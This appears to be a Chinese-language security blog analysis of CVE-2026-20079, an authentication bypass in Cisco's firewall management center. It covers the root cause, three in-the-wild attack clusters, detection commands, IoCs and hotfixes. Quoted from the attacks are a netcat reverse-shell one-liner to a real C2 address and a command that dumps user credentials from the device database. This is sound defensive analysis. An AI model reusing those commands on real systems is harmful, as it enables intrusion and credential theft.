Cisco Secure Firewall Management Center(FMC)是管理整套 Firepower 防火墙的中枢,管着策略下发、日志汇聚、补丁升级。这样一个设备被打穿,等于把整个边界防御体系的后门钥匙交了出去。CVE-2026-20079 就是这么一颗雷:CVSS 10.0,未认证远程攻击者绕过认证,在底层操作系统拿到 root。Cisco Talos 在 9 月 9 日确认它正在被在野利用,而且牵出了三个攻击集群,从 APT 到勒索软件都有。
为什么是 10.0
先看 CVSS 向量:AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H。网络可达、攻击复杂度低、无需任何权限、无需用户交互,影响范围是 Changed(跨过 FMC 应用层打到宿主 OS),机密性完整性可用性全高。这套组合直接顶到满分。漏洞编号 CVE-2026-20079,CWE-288(使用替代路径或通道绕过认证),公告号 cisco-sa-onprem-fmc-authbypass-5JPp45V2,对应 Bug ID 是 CSCwr96008 和 CSCwt95974。
受影响范围几乎是全版本:7.0.x 到 7.7.x 一整条线,外加 10.0.0 和 10.0.1。不受影响的是 FDM、ASA、FTD 和 SCC(原 Defense Orchestrator)——注意 FMC 和 SCC Firewall Management 都在影响范围内,而且"regardless of device configuration",无论怎么配都中招。没有 workaround,只能打 hotfix。
根因:一个开机时创建的进程
漏洞的本质是"开机时创建的一个不当系统进程"(improper system process created at boot time)。FMC 的 web 接口跑在 www 用户下,而 www 对一条命令拥有 sudo 权限:
/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm
package_info.pl 本意是解析 license 文件——license 是 Makeself 自解压包,脚本负责把包解开、执行里面的安装逻辑。问题在于:这个 sudo 规则和触发它的进程在 boot 时就被搭好了,攻击者通过构造 HTTP 请求就能触发它,把 license.tmp 替换成自己塞进去的恶意脚本,然后由 package_info.pl 以 root 权限执行。
一句话概括:认证绕过不是破了登录页面,而是绕开登录直接借刀杀人——借的就是这条开机就存在的 sudo 通道。
Cisco 官方给的 IoC 检测命令很直接,进 expert 模式跑:
zgrep "package_info.*license" /var/log/messages*
如果输出里出现 /var/tmp/license.tmp,基本可以判定已被利用。典型日志长这样:
Jul 23 16:16:33 firepower sudo: www : PWD=/ ; USER=root ; COMMAND=/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm
注意两个点:www 到 root 的跳变,以及那个 --lsm 参数。
三个攻击集群
Talos 把在野活动拆成三个集群,每个都值得单独看。
UAT-12197:JSP webshell + cmd.jar 盗取凭据
这个集群纯靠 CVE-2026-20079。攻击者先在 CSM Tomcat 的 webroot 目录塞一个 JSP webshell,webshell 会 Base64 解码一个名为 F6C1F0E7 的参数,参数值是 Java 进程里要加载的类名。
接着放一个 cmd.jar,用它查询内部数据库,直接偷认证数据:
/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e "SELECT name, auth_data FROM users;"'
cmd.jar 本质是个命令执行器,把命令行参数原样交给 /bin/sh -c 执行。这条命令读的是 FMC 自己存用户认证信息的 mdb 数据库——拿到 name 和 auth_data,等于拿到了后续登录和后渗透的钥匙。
UAT-11823:Makeself + Netcat,落地 Cyclops Blink
Talos 高置信把这个集群关联到 Sandworm APT。初始访问既用了 CVE-2026-20079,也用了静态凭据(CVE-2026-20316)。
得手后,攻击者用 Makeself 重新打包一份恶意 license 文件,覆盖磁盘上的 license.tmp,里面塞了 Netcat 反弹 shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208.123.119.215 3090 >/tmp/f
这个 license 包随后由 package_info.pl 在安装流程中以 root 执行——正好把上一节的根因链条完整走了一遍。
最终落地的 ELF 植入是 Cyclops Blink,Sandworm 的恶意软件家族。它的能力清单:/etc/init.d/ 持久化脚本、DoH 域名解析、文件上传下载、凭据窃取、任意命令执行、网络扫描与发现、带过滤器的包嗅探。
UAT-11988:Qilin 勒索,全程 LOTL
第三个集群归因到 Qilin 勒索软件,高置信。入口是 CVE-2026-20316 的静态凭据登录——这是个 CVSS 5.3 的低危,单独看只是低权限登录,但它是前两个集群里"提权搭子"的角色。
登录后攻击者全程 living-off-the-land:收集主机名、IP、目录,挖 AD 服务账户、MySQL 账户、域账户、计算机对象,建立跨 DC/ADFS/Exchange/文件服务器/数据库的主机名-IP 映射。侦察做完,用 socks5.py 和 reverse-SSH 隧道把内网端口转发出去:LDAP 389、LDAPS 636、Kerberos 88、SMB 445、NETBIOS 135、WinRM 5985。最后 impacket、Invoke-TheHash、自研 AV killer 依次上场,Qilin 落地加密。
检测清单
把三个集群的痕迹拼起来,检测可以从这几个维度下手:
- 日志关键字:
zgrep "package_info.*license" /var/log/messages*,重点看www → root的 sudo 跳变和/var/tmp/license.tmp。 - 文件落地:检查 CSM Tomcat webroot 里有没有非预期的
.jsp和.jar,尤其是cmd.jar和 home.jsp。 - 网络侧:Snort 规则直接给到了——CVE-2026-20079 是 SID 66075–66080,CVE-2026-20316 是 66883,恶意软件是 66960、66961。
- IoC:Talos 公开的关键哈希和 C2 如下:
B037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d— UAT-12197 的 home.jsp webshellDb491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e— UAT-12197 的 cmd.jar6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461— UAT-11823 的 Cyclops Blink- C2 IP:
89.34.96.56、208.123.119.215、104.218.165.253、91.214.78.118、43.204.2.142
修复
没有 workaround,唯一出路是打 hotfix。Cisco 按版本线放出了对应的 hotfix 包:
| 版本线 | Hotfix 包 |
|---|---|
| 7.0 | Cisco_Firepower_Mgmt_Center_Hotfix_GB-7.0.9.1-3.sh.REL.tar |
| 7.2 | Cisco_Secure_FW_Mgmt_Center_Hotfix_HL-7.2.11.1-4.sh.REL.tar |
| 7.4 | Cisco_Secure_FW_Mgmt_Center_Hotfix_HG-7.4.7.1-3.sh.REL.tar |
| 7.6 | Cisco_Secure_FW_Mgmt_Center_Hotfix_CY-7.6.5.1-2.sh.REL.tar |
| 7.7 | Cisco_Secure_FW_Mgmt_Center_Hotfix_AM-7.7.12.1-2.sh.REL.tar |
| 10.0 | Cisco_Secure_FW_Mgmt_Center_Hotfix_P-10.0.1.1-2.sh.REL.tar |
Cisco 还提到,包含这些 hotfix 加其他内部发现漏洞的综合加固版本会在 9 月 14 日那一周发布。但既然已经在野利用,别等综合版,先把 hotfix 打上。
我的做法
管 FMC 这类管理面的设备,我的习惯有三条,都是被这类漏洞反复教育出来的:
- 管理面永远不要暴露公网。Cisco 自己也在公告里写了:如果 FMC 管理接口没有公网访问,这个漏洞的攻击面会大幅缩小。FMC 管理口应该只接在带外管理网,用跳板机或 VPN 访问。
- 把上面的检测命令做成巡检项。
zgrep "package_info.*license" /var/log/messages*这条命令成本极低,直接进日常安全巡检脚本,比等 Talos 出报告快得多。 - 把 hotfix 当补丁对待,而不是"能拖就拖"。管理面设备一旦被打穿,攻击者拿到的是整套防火墙的策略视图和账号数据,后面的横向移动基本是白给。优先级应该排在业务系统前面。
⚠️ 网络安全免责声明
本文内容仅供技术研究与安全学习之用。文中描述的漏洞分析、攻击链拆解和代码示例均基于 Cisco Talos 及 Cisco PSIRT 公开披露的安全研究,旨在帮助开发者理解攻击原理、提升安全意识和防御能力。
请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果,由使用者自行承担,与本文作者无关。
如发现系统安全漏洞,请通过合法渠道向相关厂商或平台报告,共同维护网络安全生态。
浙公网安备 33010602011771号